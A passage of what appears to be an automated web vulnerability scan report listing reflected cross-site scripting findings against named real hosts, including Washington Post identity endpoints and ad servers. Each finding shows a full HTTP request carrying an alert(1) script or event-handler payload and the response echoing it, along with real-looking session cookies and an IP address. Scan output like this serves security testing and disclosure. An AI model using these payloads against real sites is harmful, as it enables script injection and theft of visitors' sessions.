The value of the jsonp_callback request parameter is copied into the HTML document as plain text between tags. The payload 9db54<script>alert(1)</script>6943424a3fa was submitted in the jsonp_callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /identity/public/visitor.json?jsonp_callback=jsonp13050332046799db54<script>alert(1)</script>6943424a3fa&lang=en-us&tags=sunset HTTP/1.1
Host: id.theroot.com
Proxy-Connection: keep-alive
Referer: http://www.washingtonpost.com/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Date: Tue, 10 May 2011 13:24:34 GMT
Server: GlassFish v3
Set-Cookie: JSESSIONID=a149b96f01a73ecdea9d4eb6396e; Path=/identity
X-Powered-By: Servlet/3.0
Connection: keep-alive
Content-Length: 101

jsonp13050332046799db54<script>alert(1)</script>6943424a3fa({"visitors":{"wapoVisitor":{"id":"-1"}}})

4.204. http://id.trove.com/identity/public/visitor.json [jsonp_callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://id.trove.com
Path:	/identity/public/visitor.json

Issue detail

The value of the jsonp_callback request parameter is copied into the HTML document as plain text between tags. The payload 25363<script>alert(1)</script>4146ce742e9 was submitted in the jsonp_callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /identity/public/visitor.json?jsonp_callback=jsonp130503320468225363<script>alert(1)</script>4146ce742e9&lang=en-us&tags=sunset HTTP/1.1
Host: id.trove.com
Proxy-Connection: keep-alive
Referer: http://www.washingtonpost.com/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Date: Tue, 10 May 2011 13:23:58 GMT
Server: GlassFish v3
Set-Cookie: JSESSIONID=a1413b39e1ccc03bc1fc6cf699ee; Path=/identity
Set-Cookie: wapo_sess_id=8349db2b-94f8-4841-a6b1-e3cc096b0ab5; Domain=trove.com; Expires=Tue, 10-May-2011 14:23:59 GMT; Path=/
X-Powered-By: Servlet/3.0
Connection: keep-alive
Content-Length: 101

jsonp130503320468225363<script>alert(1)</script>4146ce742e9({"visitors":{"wapoVisitor":{"id":"-1"}}})

4.205. http://id.washingtonpost.com/identity/public/visitor/create [jsonp_callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://id.washingtonpost.com
Path:	/identity/public/visitor/create

Issue detail

The value of the jsonp_callback request parameter is copied into the HTML document as plain text between tags. The payload 5a35e<script>alert(1)</script>805aa4e2ce8 was submitted in the jsonp_callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /identity/public/visitor/create?format=json&jsonp=&jsonp_callback=jsonp13050332046835a35e<script>alert(1)</script>805aa4e2ce8 HTTP/1.1
Host: id.washingtonpost.com
Proxy-Connection: keep-alive
Referer: http://www.washingtonpost.com/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WPNIUCID=WPNI1304310786188.9974; s_vi=[CS]v1|26DEF6EE05011508-40000100A0001105[CE]; s_pers=%20s_nr%3D1305033204715-Repeat%7C1307625204715%3B%20s_lv%3D1305033204717%7C1399641204717%3B%20s_lv_s%3DMore%2520than%25207%2520days%7C1305035004717%3B%20s_vmonthnum%3D1306904400800%2526vn%253D2%7C1306904400800%3B%20s_monthinvisit%3Dtrue%7C1305035004721%3B%20gvp_p5%3Dopinions%253Ablog%253Aright-turn%2520-%2520AFHhSbBG%2520-%252020110506%2520-%2520rick-santorum-doesnt-understand-america%7C1305035004728%3B; s_sess=%20s_cc%3Dtrue%3B%20s_dslv%3DMore%2520than%25207%2520days%3B%20s_wp_ep%3Dblog%3B%20s._ref%3DDirect-Load%3B%20s_sq%3D%3B; __qseg=Q_D|Q_T|Q_2919|Q_1807|Q_1665|Q_1649|Q_1648|Q_1645; rss_now=false; popUpClockCookie=1; popUpOnPreviousPageCookie=true; wp_pageview=1; mbox=check#true#1305033270|session#1305033209163-998563#1305035070; headzip=20001; rsi_segs=J05531_10298|J05531_10323|J05531_10488|J05531_10499|J05531_10501|D08734_70008|D08734_72078|J05531_10128

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Date: Tue, 10 May 2011 13:25:54 GMT
Server: GlassFish v3
X-Powered-By: Servlet/3.0
Connection: keep-alive
Content-Length: 135

jsonp13050332046835a35e<script>alert(1)</script>805aa4e2ce8({"visitors":{"wapoVisitor":{"id":"4ff34c9d-d8a2-4636-b368-8b03e8c5c984"}}})

4.206. http://id.washingtonpost.com/identity/public/visitor/instance_datum.json [attributeValue parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://id.washingtonpost.com
Path:	/identity/public/visitor/instance_datum.json

Issue detail

The value of the attributeValue request parameter is copied into the HTML document as plain text between tags. The payload 95996<img%20src%3da%20onerror%3dalert(1)>99bea172e0f was submitted in the attributeValue parameter. This input was echoed as 95996<img src=a onerror=alert(1)>99bea172e0f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /identity/public/visitor/instance_datum.json?attributeName=omniture_vis_id&attributeValue=%5BCS%5Dv1%7C26DEF6EE05011508-40000100A0001105%5BCE%5D95996<img%20src%3da%20onerror%3dalert(1)>99bea172e0f&jsonp_callback=jsonp1305033204685 HTTP/1.1
Host: id.washingtonpost.com
Proxy-Connection: keep-alive
Referer: http://www.washingtonpost.com/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WPNIUCID=WPNI1304310786188.9974; s_vi=[CS]v1|26DEF6EE05011508-40000100A0001105[CE]; s_pers=%20s_nr%3D1305033204715-Repeat%7C1307625204715%3B%20s_lv%3D1305033204717%7C1399641204717%3B%20s_lv_s%3DMore%2520than%25207%2520days%7C1305035004717%3B%20s_vmonthnum%3D1306904400800%2526vn%253D2%7C1306904400800%3B%20s_monthinvisit%3Dtrue%7C1305035004721%3B%20gvp_p5%3Dopinions%253Ablog%253Aright-turn%2520-%2520AFHhSbBG%2520-%252020110506%2520-%2520rick-santorum-doesnt-understand-america%7C1305035004728%3B; s_sess=%20s_cc%3Dtrue%3B%20s_dslv%3DMore%2520than%25207%2520days%3B%20s_wp_ep%3Dblog%3B%20s._ref%3DDirect-Load%3B%20s_sq%3D%3B; __qseg=Q_D|Q_T|Q_2919|Q_1807|Q_1665|Q_1649|Q_1648|Q_1645; rss_now=false; popUpClockCookie=1; popUpOnPreviousPageCookie=true; wp_pageview=1; mbox=check#true#1305033270|session#1305033209163-998563#1305035070; headzip=20001; rsi_segs=J05531_10298|J05531_10323|J05531_10488|J05531_10499|J05531_10501|D08734_70008|D08734_72078|J05531_10128; wapo_vis_id=6162765c-0f78-4cc9-8332-d644ebfef80c; wapo_sess_id=6B06C0C048D94D618BE338C5FA23551E; wapo_last_ip=173.193.214.243; wapo_saved_ip=173.193.214.243

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Date: Tue, 10 May 2011 13:27:18 GMT
Server: GlassFish v3
X-Powered-By: Servlet/3.0
Content-Length: 121
Connection: keep-alive

jsonp1305033204685({"retVal":"[CS]v1|26DEF6EE05011508-40000100A0001105[CE]95996<img src=a onerror=alert(1)>99bea172e0f"})

4.207. http://id.washingtonpost.com/identity/public/visitor/instance_datum.json [jsonp_callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://id.washingtonpost.com
Path:	/identity/public/visitor/instance_datum.json

Issue detail

The value of the jsonp_callback request parameter is copied into the HTML document as plain text between tags. The payload 68852<script>alert(1)</script>7518125846c was submitted in the jsonp_callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /identity/public/visitor/instance_datum.json?attributeName=omniture_vis_id&attributeValue=%5BCS%5Dv1%7C26DEF6EE05011508-40000100A0001105%5BCE%5D&jsonp_callback=jsonp130503320468568852<script>alert(1)</script>7518125846c HTTP/1.1
Host: id.washingtonpost.com
Proxy-Connection: keep-alive
Referer: http://www.washingtonpost.com/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WPNIUCID=WPNI1304310786188.9974; s_vi=[CS]v1|26DEF6EE05011508-40000100A0001105[CE]; s_pers=%20s_nr%3D1305033204715-Repeat%7C1307625204715%3B%20s_lv%3D1305033204717%7C1399641204717%3B%20s_lv_s%3DMore%2520than%25207%2520days%7C1305035004717%3B%20s_vmonthnum%3D1306904400800%2526vn%253D2%7C1306904400800%3B%20s_monthinvisit%3Dtrue%7C1305035004721%3B%20gvp_p5%3Dopinions%253Ablog%253Aright-turn%2520-%2520AFHhSbBG%2520-%252020110506%2520-%2520rick-santorum-doesnt-understand-america%7C1305035004728%3B; s_sess=%20s_cc%3Dtrue%3B%20s_dslv%3DMore%2520than%25207%2520days%3B%20s_wp_ep%3Dblog%3B%20s._ref%3DDirect-Load%3B%20s_sq%3D%3B; __qseg=Q_D|Q_T|Q_2919|Q_1807|Q_1665|Q_1649|Q_1648|Q_1645; rss_now=false; popUpClockCookie=1; popUpOnPreviousPageCookie=true; wp_pageview=1; mbox=check#true#1305033270|session#1305033209163-998563#1305035070; headzip=20001; rsi_segs=J05531_10298|J05531_10323|J05531_10488|J05531_10499|J05531_10501|D08734_70008|D08734_72078|J05531_10128; wapo_vis_id=6162765c-0f78-4cc9-8332-d644ebfef80c; wapo_sess_id=6B06C0C048D94D618BE338C5FA23551E; wapo_last_ip=173.193.214.243; wapo_saved_ip=173.193.214.243

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Date: Tue, 10 May 2011 13:27:23 GMT
Server: GlassFish v3
X-Powered-By: Servlet/3.0
Connection: keep-alive
Content-Length: 118

jsonp130503320468568852<script>alert(1)</script>7518125846c({"retVal":"[CS]v1|26DEF6EE05011508-40000100A0001105[CE]"})

4.208. http://id.washingtonpost.com/identity/public/visitor/ip_address.json [jsonp_callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://id.washingtonpost.com
Path:	/identity/public/visitor/ip_address.json

Issue detail

The value of the jsonp_callback request parameter is copied into the HTML document as plain text between tags. The payload 902ad<script>alert(1)</script>015eda67727 was submitted in the jsonp_callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /identity/public/visitor/ip_address.json?jsonp_callback=jsonp1305033204684902ad<script>alert(1)</script>015eda67727&wapo_saved_ip=null HTTP/1.1
Host: id.washingtonpost.com
Proxy-Connection: keep-alive
Referer: http://www.washingtonpost.com/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WPNIUCID=WPNI1304310786188.9974; s_vi=[CS]v1|26DEF6EE05011508-40000100A0001105[CE]; s_pers=%20s_nr%3D1305033204715-Repeat%7C1307625204715%3B%20s_lv%3D1305033204717%7C1399641204717%3B%20s_lv_s%3DMore%2520than%25207%2520days%7C1305035004717%3B%20s_vmonthnum%3D1306904400800%2526vn%253D2%7C1306904400800%3B%20s_monthinvisit%3Dtrue%7C1305035004721%3B%20gvp_p5%3Dopinions%253Ablog%253Aright-turn%2520-%2520AFHhSbBG%2520-%252020110506%2520-%2520rick-santorum-doesnt-understand-america%7C1305035004728%3B; s_sess=%20s_cc%3Dtrue%3B%20s_dslv%3DMore%2520than%25207%2520days%3B%20s_wp_ep%3Dblog%3B%20s._ref%3DDirect-Load%3B%20s_sq%3D%3B; __qseg=Q_D|Q_T|Q_2919|Q_1807|Q_1665|Q_1649|Q_1648|Q_1645; rss_now=false; popUpClockCookie=1; popUpOnPreviousPageCookie=true; wp_pageview=1; mbox=check#true#1305033270|session#1305033209163-998563#1305035070; headzip=20001; rsi_segs=J05531_10298|J05531_10323|J05531_10488|J05531_10499|J05531_10501|D08734_70008|D08734_72078|J05531_10128; wapo_vis_id=6162765c-0f78-4cc9-8332-d644ebfef80c

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Date: Tue, 10 May 2011 13:25:42 GMT
Server: GlassFish v3
Set-Cookie: wapo_last_ip=173.193.214.243; Domain=washingtonpost.com; Expires=Tue, 10-May-2011 14:25:42 GMT; Path=/
X-Powered-By: Servlet/3.0
Connection: keep-alive
Content-Length: 89

jsonp1305033204684902ad<script>alert(1)</script>015eda67727({"retVal":"173.193.214.243"})

4.209. http://image3.pubmatic.com/AdServer/UPug [pageURL parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://image3.pubmatic.com
Path:	/AdServer/UPug

Issue detail

The value of the pageURL request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1c402'-alert(1)-'bc4a77179c1 was submitted in the pageURL parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /AdServer/UPug?operId=2&pubId=19677&pixId=16&ran=0.383713957387954&pageURL=http://www.huffingtonpost.com/2011/05/07/rick-santorum-south-carolina-straw-poll_n_859012.html1c402'-alert(1)-'bc4a77179c1 HTTP/1.1
Host: image3.pubmatic.com
Proxy-Connection: keep-alive
Referer: http://www.huffingtonpost.com/2011/05/07/rick-santorum-south-carolina-straw-poll_n_859012.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: KRTBCOOKIE_22=488-pcv:1|uid:2931142961646634775; KRTBCOOKIE_57=476-uid:2724386019227846218; KRTBCOOKIE_27=1216-uid:4dab7d35-b1d2-915a-d3c0-9d57f9c66b07; KRTBCOOKIE_133=1873-xrd52zkwjuxh; KRTBCOOKIE_53=424-c1e1301e-3a1f-4ca7-9870-f636b5f10e66; KADUSERCOOKIE=29E43D8F-52C5-4C7B-B2EA-0181496E6671; PUBRETARGET=82_1397691450.78_1397834769.1246_1397970193.1985_1307320077.362_1306098764.1039_1306254899.617_1398451593.70_1306768104.1359_1306933483.1555_1398966889

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:25:47 GMT
Server: Apache/2.2.4 (Unix) DAV/2 mod_fastcgi/2.4.2
Vary: Accept-Encoding
P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC"
Connection: close
Content-Type: text/html
Content-Length: 575

document.write('<script type="text/javascript" src="http://ads.pubmatic.com/UniversalPixel/19677/16/pixel.js"></script>');
document.write('<iframe name="pbeacon" frameborder="0" allowtransparency="tru
...[SNIP]...
x;" src="http://ptrack.pubmatic.com/AdServer/PugTracker?pixId=16&pubId=19677&ran=0.383713957387954&pageURL=http://www.huffingtonpost.com/2011/05/07/rick-santorum-south-carolina-straw-poll_n_859012.html1c402'-alert(1)-'bc4a77179c1">
...[SNIP]...

4.210. http://image3.pubmatic.com/AdServer/UPug [ran parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://image3.pubmatic.com
Path:	/AdServer/UPug

Issue detail

The value of the ran request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 89c3f'-alert(1)-'200b2b021d3 was submitted in the ran parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /AdServer/UPug?operId=2&pubId=19677&pixId=16&ran=0.38371395738795489c3f'-alert(1)-'200b2b021d3&pageURL=http://www.huffingtonpost.com/2011/05/07/rick-santorum-south-carolina-straw-poll_n_859012.html HTTP/1.1
Host: image3.pubmatic.com
Proxy-Connection: keep-alive
Referer: http://www.huffingtonpost.com/2011/05/07/rick-santorum-south-carolina-straw-poll_n_859012.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: KRTBCOOKIE_22=488-pcv:1|uid:2931142961646634775; KRTBCOOKIE_57=476-uid:2724386019227846218; KRTBCOOKIE_27=1216-uid:4dab7d35-b1d2-915a-d3c0-9d57f9c66b07; KRTBCOOKIE_133=1873-xrd52zkwjuxh; KRTBCOOKIE_53=424-c1e1301e-3a1f-4ca7-9870-f636b5f10e66; KADUSERCOOKIE=29E43D8F-52C5-4C7B-B2EA-0181496E6671; PUBRETARGET=82_1397691450.78_1397834769.1246_1397970193.1985_1307320077.362_1306098764.1039_1306254899.617_1398451593.70_1306768104.1359_1306933483.1555_1398966889

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:25:37 GMT
Server: Apache/2.2.4 (Unix) DAV/2 mod_fastcgi/2.4.2
Vary: Accept-Encoding
P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC"
Cache-Control: no-store, no-cache, private
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 575

document.write('<script type="text/javascript" src="http://ads.pubmatic.com/UniversalPixel/19677/16/pixel.js"></script>');
document.write('<iframe name="pbeacon" frameborder="0" allowtransparency="tru
...[SNIP]...
inheight="0" marginwidth="0" scrolling="no" width="0" height="0" style="position:absolute;top:-20000px;" src="http://ptrack.pubmatic.com/AdServer/PugTracker?pixId=16&pubId=19677&ran=0.38371395738795489c3f'-alert(1)-'200b2b021d3&pageURL=http://www.huffingtonpost.com/2011/05/07/rick-santorum-south-carolina-straw-poll_n_859012.html">
...[SNIP]...

4.211. http://img.mediaplex.com/content/0/13305/124472/Evb_OpportMortgage_Grow_728x90.html [mpck parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://img.mediaplex.com
Path:	/content/0/13305/124472/Evb_OpportMortgage_Grow_728x90.html

Issue detail

The value of the mpck request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 36592"><script>alert(1)</script>d7497f980a7 was submitted in the mpck parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /content/0/13305/124472/Evb_OpportMortgage_Grow_728x90.html?mpck=altfarm.mediaplex.com%2Fad%2Fck%2F13305-124472-22136-1%3Fmpt%3D479901741468%26mpre%3Dhttp%253A%252F%252Fclk.fetchback.com%252Fserve%252Ffb%252Fclick%253Fxrx%253D479901741468%2526crid%253D30829%2526tid%253D59178%2526clicktrack%253Dhttp%253A%252F%252Fib.adnxs.com%252Fclick%252FoQeraR1v3j_P91PjpZvcPwAAAKCZmfE_yCk6kst_4j-uR-F6FK7jPxQvhA5f9a4DSsYda6b2ziX1OslNAAAAAKNHAwBlAQAAGgEAAAIAAACoJgQAPWQAAAEAAABVU0QAVVNEANgCWgDWFbkE8g8BAQUCAAIAAAAABSaDgQAAAAA.%252Fcnd%253D%2521GR5c4gih4AMQqM0QGAAgvcgBMAA41itAAEiaAlAAWABg2gFoAHAAeACAAQCIAQCQAQGYAQGgAQGoAQOwAQG5Aa5H4XoUruM_wQGuR-F6FK7jP8kBEFg5tMh28j_QAQA.%252Freferrer%253Dhttp%25253A%25252F%25252Fwww.huffingtonpost.com%252Fclickenc%253Dhttp%25253A%25252F%25252Fbid.openx.net%25252Fclick%25253Fcd%25253DH4sIAAAAAAAAABXLyQ3CMBAF0B8CyFLa4DqSxx5vSJRAEV7GEsdUQH1UQCXcUd79bVgA3Lrvlqt3lJN0kshKJSZHNbTA2Q8bhhqcnp_7b8N6jNSmZceRqhYmkTGocek0M5fIMotqMDgD6WFwwfJ9G1yB_YU_okJriHMAAAA%25253D%252526dst%25253D36592"><script>alert(1)</script>d7497f980a7&mpt=479901741468&mpre=http%3A%2F%2Fclk.fetchback.com%2Fserve%2Ffb%2Fclick%3Fxrx%3D479901741468%26crid%3D30829%26tid%3D59178%26clicktrack%3Dhttp%3A%2F%2Fib.adnxs.com%2Fclick%2FoQeraR1v3j_P91PjpZvcPwAAAKCZmfE_yCk6kst_4j-uR-F6FK7jPxQvhA5f9a4DSsYda6b2ziX1OslNAAAAAKNHAwBlAQAAGgEAAAIAAACoJgQAPWQAAAEAAABVU0QAVVNEANgCWgDWFbkE8g8BAQUCAAIAAAAABSaDgQAAAAA.%2Fcnd%3D%21GR5c4gih4AMQqM0QGAAgvcgBMAA41itAAEiaAlAAWABg2gFoAHAAeACAAQCIAQCQAQGYAQGgAQGoAQOwAQG5Aa5H4XoUruM_wQGuR-F6FK7jP8kBEFg5tMh28j_QAQA.%2Freferrer%3Dhttp%253A%252F%252Fwww.huffingtonpost.com%2Fclickenc%3Dhttp%253A%252F%252Fbid.openx.net%252Fclick%253Fcd%253DH4sIAAAAAAAAABXLyQ3CMBAF0B8CyFLa4DqSxx5vSJRAEV7GEsdUQH1UQCXcUd79bVgA3Lrvlqt3lJN0kshKJSZHNbTA2Q8bhhqcnp_7b8N6jNSmZceRqhYmkTGocek0M5fIMotqMDgD6WFwwfJ9G1yB_YU_okJriHMAAAA%253D%2526dst%253D&mpvc= HTTP/1.1
Host: img.mediaplex.com
Proxy-Connection: keep-alive
Referer: http://imp.fetchback.com/serve/fb/imp?tid=59178&type=lead&clicktrack=http://ib.adnxs.com/click/oQeraR1v3j_P91PjpZvcPwAAAKCZmfE_yCk6kst_4j-uR-F6FK7jPxQvhA5f9a4DSsYda6b2ziX1OslNAAAAAKNHAwBlAQAAGgEAAAIAAACoJgQAPWQAAAEAAABVU0QAVVNEANgCWgDWFbkE8g8BAQUCAAIAAAAABSaDgQAAAAA./cnd=!GR5c4gih4AMQqM0QGAAgvcgBMAA41itAAEiaAlAAWABg2gFoAHAAeACAAQCIAQCQAQGYAQGgAQGoAQOwAQG5Aa5H4XoUruM_wQGuR-F6FK7jP8kBEFg5tMh28j_QAQA./referrer=http%253A%252F%252Fwww.huffingtonpost.com/clickenc=http%253A%252F%252Fbid.openx.net%252Fclick%253Fcd%253DH4sIAAAAAAAAABXLyQ3CMBAF0B8CyFLa4DqSxx5vSJRAEV7GEsdUQH1UQCXcUd79bVgA3Lrvlqt3lJN0kshKJSZHNbTA2Q8bhhqcnp_7b8N6jNSmZceRqhYmkTGocek0M5fIMotqMDgD6WFwwfJ9G1yB_YU_okJriHMAAAA%253D%2526dst%253D
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=822523287793; __utmz=183366586.1303926238.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=183366586.719740200.1303926238.1303926238.1303926238.1; mojo2=17912:1281/16228:26209; mojo3=13305:22136/17263:25710/17113:25710/16186:22724/15368:22624/16228:16454/10105:1629/13198:5934/14302:16279/4608:12284/13001:12284/17975:12284/13966:19269/6726:1178/12309:27909/5712:3840/15902:34879/17404:9432/1551:17349/3484:15222/15017:28408

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:55:12 GMT
Server: Apache
Last-Modified: Thu, 10 Mar 2011 20:32:48 GMT
ETag: "6383eb-daf-49e26bfa43c00"
Accept-Ranges: bytes
Content-Length: 16793
Content-Type: text/html; charset=ISO-8859-1

<HTML>
<BODY LEFTMARGIN="0" TOPMARGIN="0" MARGINWIDTH="0" MARGINHEIGHT="0">
<NOSCRIPT>
<a href="http://altfarm.mediaplex.com/ad/ck/13305-124472-22136-1?mpt=479901741468&mpre=http%3A%2F%2Fclk.fetchb
...[SNIP]...
lick%253Fcd%253DH4sIAAAAAAAAABXLyQ3CMBAF0B8CyFLa4DqSxx5vSJRAEV7GEsdUQH1UQCXcUd79bVgA3Lrvlqt3lJN0kshKJSZHNbTA2Q8bhhqcnp_7b8N6jNSmZceRqhYmkTGocek0M5fIMotqMDgD6WFwwfJ9G1yB_YU_okJriHMAAAA%253D%2526dst%253D36592"><script>alert(1)</script>d7497f980a7" TARGET="_blank">
...[SNIP]...

4.212. http://img.mediaplex.com/content/0/13305/124472/Evb_OpportMortgage_Grow_728x90.html [mpck parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://img.mediaplex.com
Path:	/content/0/13305/124472/Evb_OpportMortgage_Grow_728x90.html

Issue detail

The value of the mpck request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e1d3a"%3balert(1)//d8d00303595 was submitted in the mpck parameter. This input was echoed as e1d3a";alert(1)//d8d00303595 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /content/0/13305/124472/Evb_OpportMortgage_Grow_728x90.html?mpck=altfarm.mediaplex.com%2Fad%2Fck%2F13305-124472-22136-1%3Fmpt%3D479901741468%26mpre%3Dhttp%253A%252F%252Fclk.fetchback.com%252Fserve%252Ffb%252Fclick%253Fxrx%253D479901741468%2526crid%253D30829%2526tid%253D59178%2526clicktrack%253Dhttp%253A%252F%252Fib.adnxs.com%252Fclick%252FoQeraR1v3j_P91PjpZvcPwAAAKCZmfE_yCk6kst_4j-uR-F6FK7jPxQvhA5f9a4DSsYda6b2ziX1OslNAAAAAKNHAwBlAQAAGgEAAAIAAACoJgQAPWQAAAEAAABVU0QAVVNEANgCWgDWFbkE8g8BAQUCAAIAAAAABSaDgQAAAAA.%252Fcnd%253D%2521GR5c4gih4AMQqM0QGAAgvcgBMAA41itAAEiaAlAAWABg2gFoAHAAeACAAQCIAQCQAQGYAQGgAQGoAQOwAQG5Aa5H4XoUruM_wQGuR-F6FK7jP8kBEFg5tMh28j_QAQA.%252Freferrer%253Dhttp%25253A%25252F%25252Fwww.huffingtonpost.com%252Fclickenc%253Dhttp%25253A%25252F%25252Fbid.openx.net%25252Fclick%25253Fcd%25253DH4sIAAAAAAAAABXLyQ3CMBAF0B8CyFLa4DqSxx5vSJRAEV7GEsdUQH1UQCXcUd79bVgA3Lrvlqt3lJN0kshKJSZHNbTA2Q8bhhqcnp_7b8N6jNSmZceRqhYmkTGocek0M5fIMotqMDgD6WFwwfJ9G1yB_YU_okJriHMAAAA%25253D%252526dst%25253De1d3a"%3balert(1)//d8d00303595&mpt=479901741468&mpre=http%3A%2F%2Fclk.fetchback.com%2Fserve%2Ffb%2Fclick%3Fxrx%3D479901741468%26crid%3D30829%26tid%3D59178%26clicktrack%3Dhttp%3A%2F%2Fib.adnxs.com%2Fclick%2FoQeraR1v3j_P91PjpZvcPwAAAKCZmfE_yCk6kst_4j-uR-F6FK7jPxQvhA5f9a4DSsYda6b2ziX1OslNAAAAAKNHAwBlAQAAGgEAAAIAAACoJgQAPWQAAAEAAABVU0QAVVNEANgCWgDWFbkE8g8BAQUCAAIAAAAABSaDgQAAAAA.%2Fcnd%3D%21GR5c4gih4AMQqM0QGAAgvcgBMAA41itAAEiaAlAAWABg2gFoAHAAeACAAQCIAQCQAQGYAQGgAQGoAQOwAQG5Aa5H4XoUruM_w